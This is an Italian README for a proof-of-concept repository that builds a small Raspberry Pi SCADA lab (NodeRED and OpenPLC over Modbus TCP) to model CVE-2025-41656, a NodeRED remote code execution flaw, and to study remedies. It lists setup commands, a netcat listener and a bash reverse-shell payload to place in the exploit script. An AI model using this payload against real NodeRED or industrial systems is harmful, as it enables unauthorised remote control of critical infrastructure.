
Questa repository include il codice e i file necessari per testare ed eseguire un PoC per la CVE-2025-41656
Questo progetto serve a modellare CVE-2025-41656, una vulnerabilità di esecuzione remota di codice non autenticata per NodeRED. Per modellare questa vulnerabilità, abbiamo creato un sistema SCADA di piccolo formato con un Raspberry Pi, un attuatore e un sensore. Il Raspberry Pi contiene un container NodeRED e un container OpenPLC che comunicano tra loro tramite Modbus TCP per controllare l'attuatore. Questo è uno script proof of concept in Python per eseguire l'attacco CVE-2025-41656. L'obiettivo è creare con successo un PoC e trovare rimedi per proteggere il sistema.
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234NODE_RED_IP e NODE_RED_PORT con l'indirizzo IP e la porta (1880) del tuo servizio NodeRED in cve_2025_41656.py.cve_2025_41656, modifica l'indirizzo IP nella riga "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", con l'indirizzo IP della macchina da cui stai lanciando l'exploit.python3 cve_2025_41656.py